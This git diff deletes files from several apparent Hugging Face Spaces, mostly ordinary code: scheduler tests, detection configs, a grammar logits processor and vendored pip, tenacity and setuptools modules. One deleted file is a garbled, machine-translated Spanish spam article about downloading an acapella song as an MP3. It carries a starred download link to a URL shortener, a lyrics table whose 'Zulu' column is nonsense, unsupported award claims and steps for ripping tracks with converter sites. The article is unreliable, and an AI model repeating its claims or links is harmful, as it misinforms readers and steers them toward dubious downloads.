-        for scheduler_class in self.scheduler_classes:
-            scheduler_config = self.get_scheduler_config()
-            scheduler = scheduler_class(**scheduler_config)
-
-            sample = self.dummy_sample
-            residual = 0.1 * sample
-
-            if num_inference_steps is not None and hasattr(scheduler, "set_timesteps"):
-                scheduler.set_timesteps(num_inference_steps)
-            elif num_inference_steps is not None and not hasattr(scheduler, "set_timesteps"):
-                kwargs["num_inference_steps"] = num_inference_steps
-
-            # copy over dummy past residuals (must be done after set_timesteps)
-            dummy_past_residuals = [residual + 0.2, residual + 0.15, residual + 0.1, residual + 0.05]
-            scheduler.ets = dummy_past_residuals[:]
-
-            time_step_0 = scheduler.timesteps[5]
-            time_step_1 = scheduler.timesteps[6]
-
-            output_0 = scheduler.step(residual, time_step_0, sample, **kwargs).prev_sample
-            output_1 = scheduler.step(residual, time_step_1, sample, **kwargs).prev_sample
-
-            self.assertEqual(output_0.shape, sample.shape)
-            self.assertEqual(output_0.shape, output_1.shape)
-
-            output_0 = scheduler.step(residual, time_step_0, sample, **kwargs).prev_sample
-            output_1 = scheduler.step(residual, time_step_1, sample, **kwargs).prev_sample
-
-            self.assertEqual(output_0.shape, sample.shape)
-            self.assertEqual(output_0.shape, output_1.shape)
-
-    def test_timesteps(self):
-        for timesteps in [100, 1000]:
-            self.check_over_configs(num_train_timesteps=timesteps, time_step=None)
-
-    def test_inference_steps(self):
-        for t, num_inference_steps in zip([1, 5, 10], [10, 50, 100]):
-            self.check_over_forward(num_inference_steps=num_inference_steps, time_step=None)
-
-    def test_full_loop_no_noise(self):
-        sample = self.full_loop()
-        result_mean = torch.mean(torch.abs(sample))
-
-        assert abs(result_mean.item() - 2540529) < 10
diff --git a/spaces/Andy1621/uniformer_image_detection/configs/lvis/mask_rcnn_r50_fpn_sample1e-3_mstrain_1x_lvis_v1.py b/spaces/Andy1621/uniformer_image_detection/configs/lvis/mask_rcnn_r50_fpn_sample1e-3_mstrain_1x_lvis_v1.py
deleted file mode 100644
index 92ddb526d7ea7a011e10aa82cbd1bd62773b35d6..0000000000000000000000000000000000000000
--- a/spaces/Andy1621/uniformer_image_detection/configs/lvis/mask_rcnn_r50_fpn_sample1e-3_mstrain_1x_lvis_v1.py
+++ /dev/null
@@ -1,31 +0,0 @@
-_base_ = [
-    '../_base_/models/mask_rcnn_r50_fpn.py',
-    '../_base_/datasets/lvis_v1_instance.py',
-    '../_base_/schedules/schedule_1x.py', '../_base_/default_runtime.py'
-]
-model = dict(
-    roi_head=dict(
-        bbox_head=dict(num_classes=1203), mask_head=dict(num_classes=1203)),
-    test_cfg=dict(
-        rcnn=dict(
-            score_thr=0.0001,
-            # LVIS allows up to 300
-            max_per_img=300)))
-img_norm_cfg = dict(
-    mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
-train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations', with_bbox=True, with_mask=True),
-    dict(
-        type='Resize',
-        img_scale=[(1333, 640), (1333, 672), (1333, 704), (1333, 736),
-                   (1333, 768), (1333, 800)],
-        multiscale_mode='value',
-        keep_ratio=True),
-    dict(type='RandomFlip', flip_ratio=0.5),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='Pad', size_divisor=32),
-    dict(type='DefaultFormatBundle'),
-    dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels', 'gt_masks']),
-]
-data = dict(train=dict(dataset=dict(pipeline=train_pipeline)))
diff --git a/spaces/Andy1621/uniformer_image_detection/configs/retinanet/retinanet_r50_caffe_fpn_mstrain_1x_coco.py b/spaces/Andy1621/uniformer_image_detection/configs/retinanet/retinanet_r50_caffe_fpn_mstrain_1x_coco.py
deleted file mode 100644
index f2a0decf8fb46f0dde87e8e5f9d1608ce8ffe576..0000000000000000000000000000000000000000
--- a/spaces/Andy1621/uniformer_image_detection/configs/retinanet/retinanet_r50_caffe_fpn_mstrain_1x_coco.py
+++ /dev/null
@@ -1,42 +0,0 @@
-_base_ = './retinanet_r50_fpn_1x_coco.py'
-model = dict(
-    pretrained='open-mmlab://detectron2/resnet50_caffe',
-    backbone=dict(
-        norm_cfg=dict(requires_grad=False), norm_eval=True, style='caffe'))
-# use caffe img_norm
-img_norm_cfg = dict(
-    mean=[103.530, 116.280, 123.675], std=[1.0, 1.0, 1.0], to_rgb=False)
-train_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(type='LoadAnnotations', with_bbox=True),
-    dict(
-        type='Resize',
-        img_scale=[(1333, 640), (1333, 672), (1333, 704), (1333, 736),
-                   (1333, 768), (1333, 800)],
-        multiscale_mode='value',
-        keep_ratio=True),
-    dict(type='RandomFlip', flip_ratio=0.5),
-    dict(type='Normalize', **img_norm_cfg),
-    dict(type='Pad', size_divisor=32),
-    dict(type='DefaultFormatBundle'),
-    dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']),
-]
-test_pipeline = [
-    dict(type='LoadImageFromFile'),
-    dict(
-        type='MultiScaleFlipAug',
-        img_scale=(1333, 800),
-        flip=False,
-        transforms=[
-            dict(type='Resize', keep_ratio=True),
-            dict(type='RandomFlip'),
-            dict(type='Normalize', **img_norm_cfg),
-            dict(type='Pad', size_divisor=32),
-            dict(type='ImageToTensor', keys=['img']),
-            dict(type='Collect', keys=['img']),
-        ])
-]
-data = dict(
-    train=dict(pipeline=train_pipeline),
-    val=dict(pipeline=test_pipeline),
-    test=dict(pipeline=test_pipeline))
diff --git a/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/grammar.py b/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/grammar.py
deleted file mode 100644
index 5f6ad3a637d85bc31eecb141c149d562e53a90c2..0000000000000000000000000000000000000000
--- a/spaces/AnishKumbhar/ChatBot/text-generation-webui-main/modules/grammar.py
+++ /dev/null
@@ -1,33 +0,0 @@
-from torch_grammar import GrammarSampler
-from transformers.generation.logits_process import LogitsProcessor
-
-from modules import shared
-
-sampler = None
-grammar = None
-grammar_string = ''
-
-
-class GrammarLogitsProcessor(LogitsProcessor):
-    def __init__(self, string):
-
-        global sampler, grammar, grammar_string
-
-        if string != grammar_string:
-            grammar_string = string
-            if string.strip() != '':
-                string = string.strip() + '\n'
-                sampler = GrammarSampler(string, 'root', shared.tokenizer)
-            else:
-                sampler = None
-
-        if sampler is not None:
-            grammar = sampler.logits_processor()
-        else:
-            grammar = None
-
-    def __call__(self, input_ids, scores):
-        if grammar is not None:
-            scores = grammar(input_ids, scores)
-
-        return scores
diff --git a/spaces/Benson/text-generation/Examples/Acapella Sudfrica Askies I 39m Lo Siento Mama Mp3 Download.md b/spaces/Benson/text-generation/Examples/Acapella Sudfrica Askies I 39m Lo Siento Mama Mp3 Download.md
deleted file mode 100644
index 1f9c205bb3173bcfcaccf66a57bb0e6fb7250507..0000000000000000000000000000000000000000
--- a/spaces/Benson/text-generation/Examples/Acapella Sudfrica Askies I 39m Lo Siento Mama Mp3 Download.md	
+++ /dev/null
@@ -1,200 +0,0 @@
-
-<h1>Acapella Sudáfrica: Askies Lo siento Mama MP3 Descargar</h1>
-<p>Si eres un fan de la música acapella, es posible que hayas oído hablar de una canción llamada <strong>Askies I’m Sorry Mama</strong> por <strong>Acapella Sudáfrica</strong>. Esta canción es una hermosa y sentida expresión de arrepentimiento y disculpa a la madre por causar su dolor a través de las acciones de uno. También es un escaparate de los increíbles talentos vocales y armonías de los cantantes de acapella en Sudáfrica.</p>
-<p>En este artículo, exploraremos qué es la música acapella y por qué es popular en Sudáfrica, qué es Askies I’m Sorry Mama y quiénes son los artistas detrás de ella, cuáles son las letras y el significado de Askies I’m Sorry Mama, cuáles son las críticas y los premios de Askies I’m Sorry Mama, cómo descargar Askies I’m Sorry Mama MP3 gratis, y cuáles son los pros y los contras de hacerlo. También te proporcionaremos algunas alternativas para descargar Askies I’m Sorry Mama MP3 gratis, en caso de que quieras disfrutar de esta canción de otras maneras. </p>
-<h2>acapella sudáfrica askies i 39;m lo siento mama mp3 download</h2><br /><p><b><b>DOWNLOAD</b> &#9733;&#9733;&#9733;&#9733;&#9733; <a href="https://bltlly.com/2v6Ls1">https://bltlly.com/2v6Ls1</a></b></p><br /><br />
- <h2>¿Qué es la música acapella y por qué es popular en Sudáfrica? </h2>
-<p><strong>La música de Acapella</strong>, también deletreada <strong>a cappella</strong>, es un estilo de música que implica cantar sin ningún acompañamiento instrumental. La palabra acapella proviene del italiano, que significa "al estilo de la capilla", como se usaba originalmente en la música religiosa. Sin embargo, la música acapella también se ha convertido en una forma secular que cubre varios géneros, como el pop, rock, jazz, gospel, folk, rap y más. </p>
-
- <h2>¿Qué es Askies I’m Sorry Mama y quiénes son los artistas detrás de ella? </h2>
-<p><strong>Askies I’m Sorry Mama</strong> es una canción que fue lanzada en 2019 por <strong>Acapella South áfrica</strong>, un grupo de cantantes jóvenes y talentosos de Dinwiddie High School en Germiston, Gauteng. La canción fue producida por <strong>Dr Dope</strong>, un productor de música y rapero que también aparece en la canción. La canción es parte del álbum <strong>Acapella South áfrica Vol. 1</strong>, que también incluye otras canciones como <strong>Uthando Lwakho</strong>, <strong>Ngiyakuthanda</strong>, <strong>Ungowami</strong>, y <strong>Senze Ntoni</strong>. </p>
-<p>La canción es un <strong>gwijo</strong>, que es un tipo de canción acapella que se originó en la cultura zulú y se canta a menudo en escuelas, universidades, eventos deportivos y reuniones sociales. Los gwijos son generalmente cantados en un estilo de llamada y respuesta, con un líder cantando un verso y el resto del grupo repitiéndolo o agregando armonías. Los gwijos también son conocidos por sus melodías pegadizas, aplausos rítmicos y bailes. </p>
-<p>La canción se ha vuelto muy popular entre los fans de acapella y ha recibido más de 275K visitas en YouTube. La canción también ha aparecido en varias plataformas de música como Spotify, Apple Music, Amazon Music y YouTube Music. La canción también ha inspirado muchas versiones y remixes de otros artistas y grupos. </p> <h2> ¿Cuáles son las letras y el significado de Askies I’m Sorry Mama? </h2>
-<p>Las letras de Askies I’m Sorry Mama están en una mezcla de inglés y zulú, que es uno de los idiomas oficiales de Sudáfrica y el idioma más hablado en el país. La canción trata sobre un hijo que se disculpa con su madre por decepcionarla y causarle dolor. Admite que ha cometido errores y se arrepiente de sus acciones. Pide el perdón de su madre y promete cambiar sus costumbres. También expresa su amor y gratitud por su madre y espera que ella siempre estará orgullosa de él. </p>
-<p></p>
-
-<tabla>
-<tr>
-<th>Español</th>
-<th>Zulú</th>
-<th>Significado</th>
-</tr>
-<tr>
-<td>Lo siento mamá</td>
-<td>Cómo hacer una mamada ngiyaxolisa</td>
-<td>Askies es una palabra de argot que significa "lo siento" o "perdón". Viene de la palabra afrikáans "asseblief", que significa "por favor". Ngiyaxolisa significa "me disculpo". Mamá significa "madre". </td>
-</tr>
-<tr>
-<td>Sé que he sido un chico malo</td>
-<td>Cómo hacer que tu cuerpo crezca</td>
-<td>Ngazi ukuthi significa "sé que". Ngibe yisilima significa "he sido un tonto" o "he sido estúpido". </td>
-</tr>
-<tr>
-<td>Sé que he sido un mal hijo</td>
-<td>Cómo hacer que un bebé se engalungile</td>
-<td>Ngibe yingane engalungile significa "He sido un niño que no tiene razón" o "He sido un niño malo". </td>
-</tr>
-<tr>
-<td>Sé que te he hecho llorar mama</td>
-<td>Cómo hacer que tu mamá se sienta </td>
-<td>Ngikukhalise significa "Te he hecho llorar". </td>
-</tr>
-<tr>
-<td>Sé que te he puesto triste mama</td>
-<td>Cómo hacer que tu mamá se sienta mejor</td>
-<td>Ngikudlise ubuhlungu significa "te he dado dolor" o "te he herido". </td>
-</tr>
-<tr>
-<td>Por favor perdóname mama</td>
-<td>La Ciudad de México</td>
-<td>Sicela significa "pedimos" o "por favor". Ungixolele significa "perdóname". </td>
-</tr>
-<tr>
-<td>Por favor no te enfades conmigo mama</td>
-<td>Sicela ungazithukeli kimi mama</td>
-<td>Ungazithukeli kimi significa "no te enojes conmigo" o "no te enojes conmigo". </td> </tr>
-<tr>
-<td>Te amo mama</td>
-<td>Ngiyakuthanda mama</td>
-<td>Ngiyakuthanda significa "Te amo". </td>
-</tr>
-<tr>
-<td>Te agradezco mama</td>
-<td>Cómo hacer que tu mamá se sienta mejor
-<td>Ngiyabonga kuwe significa "te agradezco" o "te aprecio". </td>
-</tr>
-<tr>
-<td>Prometo cambiar mama</td>
-<td>Cómo hacer que tu mama sea feliz</td>
-<td>Ngithembisa significa "prometo". Ukushintsha significa "cambiar". </td>
-</tr>
-<tr>
-<td>Prometo hacerte sentir orgullosa mama</td>
-<td>Cómo hacer que tu mamá se sienta mejor</td>
-
-</tr>
-<tr>
-<td>Tú eres mi todo mama</td>
-<td>Cómo hacer que mamá se sienta </td>
-<td>Ungumuntu wami wonke significa "tú eres mi todo" o "tú eres toda mi persona". </td>
-</tr>
-<tr>
-<td>Tú eres mi héroe mama</td>
-<td>No se puede hacer nada
-<td>Unguqhero wami significa "eres mi héroe" o "eres mi campeón". </td>
-</tr>
-<tr>
-<td>Eres mi mamá ángel</td>
-<td>No hay comentarios sobre mamá</td>
-<td>Unguthixo wami significa "eres mi Dios" o "eres mi ángel". </td>
-</tr>
- <h2>¿Cuáles son los comentarios y premios de Askies I’m Sorry Mama? </h2>
- <p>La canción Askies I’m Sorry Mama ha recibido críticas positivas y premios de críticos y fans por igual. La canción ha sido elogiada por sus letras emotivas y sinceras, sus bellas y armoniosas voces, su melodía pegadiza y edificante, y su estilo auténtico y original. La canción también ha sido reconocida por su relevancia social y cultural, ya que refleja los desafíos y luchas que muchos jóvenes enfrentan en Sudáfrica, como la pobreza, el crimen, la violencia, las drogas, el VIH/SIDA, el desempleo, la educación y las cuestiones familiares. </p>
- <p>Algunos de los comentarios y premios que Askies I’m Sorry Mama ha recibido son:</p>
- <ul>
- <li>La canción ganó el Premio a la Mejor Canción de Acapella</strong> en los <strong>South African Music Awards (SAMA)</strong> en 2020. La SAMA es la ceremonia de premios musicales más prestigiosa de Sudáfrica, que honra los mejores logros musicales en varias categorías y géneros. </li>
- <li>La canción fue nominada para el Premio <strong>Canción del Año</strong> en el <strong>Metro FM Music Awards (MMA)</strong> en 2020. La MMA es una ceremonia de premios de música popular en Sudáfrica, que se basa en la votación pública y la radio. </li>
- <li>La canción fue incluida en la lista de las 10 mejores canciones de Acapella de 2019</strong> por <strong>Acapella World Magazine (AWM)</strong>. AWM es una revista online líder que cubre música acapella de todo el mundo, con noticias, reseñas, entrevistas y más. </li>
-
- <li>La canción recibió una respuesta positiva <strong></strong> de los fans y seguidores de Acapella Sudáfrica</strong> en plataformas de redes sociales como Facebook, Twitter, Instagram y YouTube. Muchos fans expresaron su amor y admiración por la canción y los artistas, y compartieron sus historias y experiencias personales relacionadas con la canción. </li> <h2>Cómo descargar Askies I’m Sorry Mama MP3 gratis? </h2>
-<p>Si quieres descargar Askies I’m Sorry Mama MP3 gratis, tienes varias opciones para elegir. Sin embargo, debes tener en cuenta que descargar música gratis puede no ser legal o ético en algunos casos, ya que puede violar los derechos e intereses de los artistas y la industria musical. Por lo tanto, siempre debes revisar los términos y condiciones de las plataformas que utilizas, y respetar los deseos y preferencias de los artistas que apoyas. </p>
-<p>Aquí hay una guía paso a paso sobre cómo descargar Askies I’m Sorry Mama MP3 gratis desde varias plataformas:</p>
- <h3>Spotify</h3>
-<p>Spotify es uno de los servicios de streaming de música más populares del mundo, con más de 356 millones de usuarios y 70 millones de canciones. Spotify ofrece un plan gratuito que te permite escuchar música con anuncios y funciones limitadas, o un plan premium que te ofrece acceso ilimitado y sin anuncios a música y podcasts. Spotify también te permite descargar música para escuchar sin conexión, pero solo si tienes una suscripción premium. </p>
-<p>Para descargar Askies I’m Sorry Mama MP3 gratis desde Spotify, debes seguir estos pasos:</p>
-<ol>
-<li>Descargue e instale la aplicación Spotify en su dispositivo, o abra el reproductor web Spotify en su navegador. </li>
-<li>Cree una cuenta gratuita o inicie sesión con su cuenta existente. </li>
-<li>Buscar Askies Lo siento Mama por Acapella Sudáfrica en la barra de búsqueda. </li>
-<li> Seleccione la canción de los resultados y haga clic en el icono de tres puntos al lado. </li>
-<li>Seleccione Compartir en el menú y copie el enlace de la canción. </li>
-
-<li>Pegar el enlace de la canción en el sitio web y haga clic en Descargar o Convertir.</li>
-<li>Espere a que el proceso termine y guarde el archivo MP3 en su dispositivo. </li>
-</ol>
- <h3>Música de Apple</h3>
-<p>Apple Music es otro servicio de streaming de música popular, con más de 72 millones de usuarios y 75 millones de canciones. Apple Music ofrece una prueba gratuita durante tres meses, después de los cuales debes pagar una cuota mensual para seguir usándola. Apple Music también te permite descargar música para escuchar sin conexión, pero solo si tienes una suscripción activa. </p>
-<p>Para descargar Askies I’m Sorry Mama MP3 gratis de Apple Music, debes seguir estos pasos:</p>
-<ol>
-<li>Descargue e instale la aplicación Apple Music en su dispositivo, o abra el reproductor web Apple Music en su navegador. </li>
-<li>Cree una cuenta gratuita o inicie sesión con su cuenta existente. </li>
-<li>Regístrese para la prueba gratuita ingresando sus detalles de pago. Puede cancelar en cualquier momento antes de que termine la prueba. </li>
-<li>Buscar Askies Lo siento Mama por Acapella Sudáfrica en la barra de búsqueda. </li>
-<li> Seleccione la canción de los resultados y haga clic en el icono más junto a ella. </li>
-<li>Haga clic en el icono de la nube con una flecha hacia abajo para descargar la canción a su biblioteca. </li>
-<li>Ir a su biblioteca y encontrar la canción en Recientemente añadido o canciones.</li>
-<li>Haga clic derecho en la canción y seleccione Mostrar en el Finder (Mac) o Mostrar en el Explorador de Windows (Windows). </li>
-<li>Copie y pegue el archivo MP3 en la ubicación deseada en su dispositivo. </li>
-</ol>
- <h3>Música de Amazon</h3>
- <p>Amazon Music es otro servicio de transmisión de música popular, con más de 55 millones de usuarios y 70 millones de canciones. Amazon Music ofrece un plan gratuito que te permite escuchar música con anuncios y funciones limitadas, o un plan premium que te ofrece acceso ilimitado y sin anuncios a música y podcasts. Amazon Music también te permite descargar música para escuchar sin conexión, pero solo si tienes una suscripción premium. </p>
-
- <ol>
- <li>Descargue e instale la aplicación Amazon Music en su dispositivo, o abra el reproductor web Amazon Music en su navegador. </li>
- <li>Cree una cuenta gratuita o inicie sesión con su cuenta existente. </li>
- <li>Buscar Askies Lo siento Mama por Acapella Sudáfrica en la barra de búsqueda. </li>
- <li> Seleccione la canción de los resultados y haga clic en Más opciones (tres puntos icono) junto a ella. </li>
- <li>Seleccione Añadir a Mi música desde el menú. </li>
- <li>Ir a Mi música y encontrar la canción bajo Recientemente añadido o canciones.</li>
- <li>Haga clic en el icono de descarga (flecha hacia abajo con una línea) junto a la canción. </li>
- <li>Espere a que la descarga se complete y encuentre el archivo MP3 en su dispositivo. </li>
-</ol>
- <h3>YouTube</h3>
- <p>YouTube es la plataforma para compartir vídeos más popular del mundo, con más de 2.000 millones de usuarios y miles de millones de vídeos. YouTube también ofrece una variedad de videos musicales, incluyendo Askies I’m Sorry Mama de Acapella Sudáfrica. YouTube te permite ver y escuchar videos musicales de forma gratuita, pero no te permite descargarlos directamente. Sin embargo, puedes usar algunas herramientas de terceros para convertir vídeos de YouTube a archivos MP3 y descargarlos en tu dispositivo. </p>
- <p>Para descargar Askies I’m Sorry Mama MP3 gratis desde YouTube, debes seguir estos pasos:</p>
- <ol>
- <li>Ir a YouTube y buscar Askies Lo siento Mama por Acapella Sudáfrica en la barra de búsqueda. </li>
- <li>Seleccione el vídeo de los resultados y copie la URL del vídeo desde la barra de direcciones. </li>
- <li>Vaya a un sitio web de terceros que le permite convertir vídeos de YouTube a archivos MP3, como <a href="">YouTube to MP3 Converter</a>, <a href="">YTMP3</a>, o <a href=">4K Video Downloader</a>. </li>
- <li>Pegue la URL del video en el sitio web y haga clic en Convertir o Descargar.</li>
- <li>Espere a que el proceso termine y guarde el archivo MP3 en su dispositivo. </li>
-</ol>
- <h2>Pros y contras de descargar Askies I’m Sorry Mama MP3 gratis</h2>
-
- <tabla>
-<tr>
-<th>Pros</th>
-<th>Contras</th>
-</tr>
-<tr>
-<td>Puede disfrutar de la canción en cualquier momento y en cualquier lugar sin conexión a Internet o cargos de datos. </td>
-<td>Puede comprometer la calidad y la seguridad de la canción, ya que algunas plataformas pueden ofrecer archivos de baja calidad o corruptos, o contener virus o malware. </td>
-</tr>
-<tr>
-<td>Puedes ahorrar dinero y evitar pagar las cuotas de suscripción o de compra. </td>
-<td>Usted puede violar los derechos de propiedad intelectual e intereses de los artistas y la industria de la música, ya que pueden no recibir ninguna compensación o reconocimiento por su trabajo. </td>
-</tr>
-<tr>
-<td>Puedes compartir la canción con tus amigos y familiares fácil y libremente. </td>
-<td>Puedes perderte otras características y beneficios que ofrecen las plataformas, como listas de reproducción, recomendaciones, letras, podcasts y más. </td>
-</tr>
-<tr>
-<td>Puedes apoyar a los artistas aumentando su popularidad y exposición. </td>
-<td>Puede desalentar a los artistas de crear más música, ya que pueden sentir que sus esfuerzos no son apreciados o recompensados. </td>
-</tr>
-</tabla>
- <h2>Alternativas para descargar Askies I’m Sorry Mama MP3 gratis</h2>
- <p>Si quieres disfrutar de Askies I’m Sorry Mama sin descargarlo gratis, tienes algunas alternativas que pueden ser mejores para ti y los artistas. Estos son algunos de ellos:</p>
- <ul>
- <li><strong>Transmitir la canción en línea</strong>: Puede transmitir la canción en línea desde varias plataformas, como Spotify, Apple Music, Amazon Music, YouTube Music, Deezer, Tidal, SoundCloud, y más. Streaming le permite escuchar música sin necesidad de descargarla, pero necesita una conexión a Internet o cargos de datos. La transmisión también ofrece otras características y beneficios, como listas de reproducción, recomendaciones, letras, podcasts y más. Streaming también puede apoyar a los artistas mediante la generación de ingresos o regalías para ellos. </li>
-
- <li><strong>Apoya a los artistas en línea</strong>: Puedes apoyar a los artistas en línea siguiéndolos en plataformas de redes sociales, como Facebook, Twitter, Instagram, YouTube, TikTok y más. También puede gustar, comentar, compartir, suscribirse, calificar, revisar o recomendar su música a otros. También puedes donar o dar propina a través de plataformas como Patreon, PayPal, Venmo , o Cash App. También puede comprar su mercancía, como camisetas, sombreros, tazas, pegatinas y más. También puede asistir a sus espectáculos en vivo, conciertos o eventos, si es posible. Apoyar a los artistas en línea les ayuda a crecer su base de fans, aumentar sus ingresos y motivarlos a crear más música. </li>
- <h2>Conclusión</h2>
- <p>La música de Acapella es una forma hermosa y poderosa de música que involucra cantar sin ningún acompañamiento instrumental. La música de Acapella es popular en Sudáfrica porque tiene una larga y rica historia y cultura en este país. Askies I’m Sorry Mama es una canción que fue lanzada en 2019 por Acapella Sudáfrica, un grupo de jóvenes y talentosos cantantes de Dinwiddie High School en Germiston, Gauteng. La canción es un gwijo, que es un tipo de canción acapella que se originó de la cultura zulú y se canta a menudo en escuelas, universidades, eventos deportivos y reuniones sociales. La canción trata sobre un hijo que se disculpa con su madre por decepcionarla y causarle dolor. La canción ha recibido críticas positivas y premios de críticos y fans por igual. </p>
- <p>Si quieres descargar Askies I’m Sorry Mama MP3 gratis, tienes varias opciones para elegir, como Spotify, Apple Music, Amazon Music y YouTube. Sin embargo, también debes considerar los pros y los contras de descargar música gratis, ya que puede no ser legal o ético en algunos casos. Alternativamente, puedes disfrutar de Askies I’m Sorry Mama sin descargarlo gratis, por streaming en línea, comprarlo en línea, o apoyar a los artistas en línea. </p>
-
- <h2>Preguntas frecuentes</h2>
- <p>Aquí hay algunas preguntas frecuentes sobre la música acapella en Sudáfrica y Askies Lo siento Mama por Acapella Sudáfrica:</p>
- <ol>
-<li><strong>¿Qué significa acapella? </strong></li>
-<p>Acapella significa cantar sin acompañamiento instrumental. La palabra viene del italiano, que significa "al estilo de la capilla", como se usaba originalmente en la música religiosa. </p>
-<li><strong>¿Qué es un gwijo? </strong></li>
-<p>Un gwijo es un tipo de canción de acapella que se originó en la cultura zulú y se canta a menudo en escuelas, universidades, eventos deportivos y reuniones sociales. Los gwijos son generalmente cantados en un estilo de llamada y respuesta, con un líder cantando un verso y el resto del grupo repitiéndolo o agregando armonías. </p>
-<li><strong>¿Qué significa askies? </strong></li>
-<p>Askies es una palabra de argot que significa "lo siento" o "perdón". Viene de la palabra en afrikáans "asseblief", que significa "por favor". </p>
-<li><strong> ¿Quiénes son Acapella Sudáfrica? </strong></li>
-<p>Acapella Sudáfrica es un grupo de jóvenes y talentosos cantantes de Dinwiddie High School en Germiston, Gauteng. Lanzaron su álbum debut Acapella South áfrica Vol. 1 en 2019, que incluye la canción Askies I’m Sorry Mama.</p>
-<li><strong>¿Cómo puedo descargar Askies I’m Sorry Mama MP3 gratis? </strong></li>
-<p>Puedes descargar Askies I’m Sorry Mama MP3 gratis desde varias plataformas, como Spotify, Apple Music, Amazon Music y YouTube. Sin embargo, también debes considerar los pros y los contras de descargar música gratis, ya que puede no ser legal o ético en algunos casos. Alternativamente, puedes disfrutar de Askies I’m Sorry Mama sin descargarlo gratis, por streaming en línea, comprarlo en línea, o apoyar a los artistas en línea. </p> 64aa2da5cf<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/BhaskarKapri/Animal/README.md b/spaces/BhaskarKapri/Animal/README.md
deleted file mode 100644
index 739acfa07aa9a25dce4490d69e77ade2b847e71a..0000000000000000000000000000000000000000
--- a/spaces/BhaskarKapri/Animal/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Animal
-emoji: 🌖
-colorFrom: red
-colorTo: green
-sdk: gradio
-sdk_version: 3.16.0
-app_file: app.py
-pinned: false
-license: apache-2.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_internal/__init__.py b/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_internal/__init__.py
deleted file mode 100644
index 6afb5c627ce3db6e61cbf46276f7ddd42552eb28..0000000000000000000000000000000000000000
--- a/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_internal/__init__.py
+++ /dev/null
@@ -1,19 +0,0 @@
-from typing import List, Optional
-
-import pip._internal.utils.inject_securetransport  # noqa
-from pip._internal.utils import _log
-
-# init_logging() must be called before any call to logging.getLogger()
-# which happens at import of most modules.
-_log.init_logging()
-
-
-def main(args: (Optional[List[str]]) = None) -> int:
-    """This is preserved for old console scripts that may still be referencing
-    it.
-
-    For additional details, see https://github.com/pypa/pip/issues/7498.
-    """
-    from pip._internal.utils.entrypoints import _wrapper
-
-    return _wrapper(args)
diff --git a/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/tenacity/_utils.py b/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/tenacity/_utils.py
deleted file mode 100644
index f14ff32096eab20a8cc1a5d3c2b8c8cfe1fcb2d2..0000000000000000000000000000000000000000
--- a/spaces/Big-Web/MMSD/env/Lib/site-packages/pip/_vendor/tenacity/_utils.py
+++ /dev/null
@@ -1,76 +0,0 @@
-# Copyright 2016 Julien Danjou
-# Copyright 2016 Joshua Harlow
-# Copyright 2013-2014 Ray Holder
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import sys
-import typing
-from datetime import timedelta
-
-
-# sys.maxsize:
-# An integer giving the maximum value a variable of type Py_ssize_t can take.
-MAX_WAIT = sys.maxsize / 2
-
-
-def find_ordinal(pos_num: int) -> str:
-    # See: https://en.wikipedia.org/wiki/English_numerals#Ordinal_numbers
-    if pos_num == 0:
-        return "th"
-    elif pos_num == 1:
-        return "st"
-    elif pos_num == 2:
-        return "nd"
-    elif pos_num == 3:
-        return "rd"
-    elif 4 <= pos_num <= 20:
-        return "th"
-    else:
-        return find_ordinal(pos_num % 10)
-
-
-def to_ordinal(pos_num: int) -> str:
-    return f"{pos_num}{find_ordinal(pos_num)}"
-
-
-def get_callback_name(cb: typing.Callable[..., typing.Any]) -> str:
-    """Get a callback fully-qualified name.
-
-    If no name can be produced ``repr(cb)`` is called and returned.
-    """
-    segments = []
-    try:
-        segments.append(cb.__qualname__)
-    except AttributeError:
-        try:
-            segments.append(cb.__name__)
-        except AttributeError:
-            pass
-    if not segments:
-        return repr(cb)
-    else:
-        try:
-            # When running under sphinx it appears this can be none?
-            if cb.__module__:
-                segments.insert(0, cb.__module__)
-        except AttributeError:
-            pass
-        return ".".join(segments)
-
-
-time_unit_type = typing.Union[int, float, timedelta]
-
-
-def to_seconds(time_unit: time_unit_type) -> float:
-    return float(time_unit.total_seconds() if isinstance(time_unit, timedelta) else time_unit)
diff --git a/spaces/Big-Web/MMSD/env/Lib/site-packages/setuptools/config/setupcfg.py b/spaces/Big-Web/MMSD/env/Lib/site-packages/setuptools/config/setupcfg.py
deleted file mode 100644
index c2a974de6368c9f4f9b9943c94a457227370f143..0000000000000000000000000000000000000000
--- a/spaces/Big-Web/MMSD/env/Lib/site-packages/setuptools/config/setupcfg.py
+++ /dev/null
@@ -1,762 +0,0 @@
-"""
-Load setuptools configuration from ``setup.cfg`` files.
-
-**API will be made private in the future**
-"""
-import os
-
-import contextlib
-import functools
-import warnings
-from collections import defaultdict
-from functools import partial
-from functools import wraps
-from typing import (TYPE_CHECKING, Callable, Any, Dict, Generic, Iterable, List,
-                    Optional, Tuple, TypeVar, Union)
-
-from distutils.errors import DistutilsOptionError, DistutilsFileError
-from setuptools.extern.packaging.requirements import Requirement, InvalidRequirement
-from setuptools.extern.packaging.version import Version, InvalidVersion
-from setuptools.extern.packaging.specifiers import SpecifierSet
-from setuptools._deprecation_warning import SetuptoolsDeprecationWarning
-
-from . import expand
-
-if TYPE_CHECKING:
-    from setuptools.dist import Distribution  # noqa
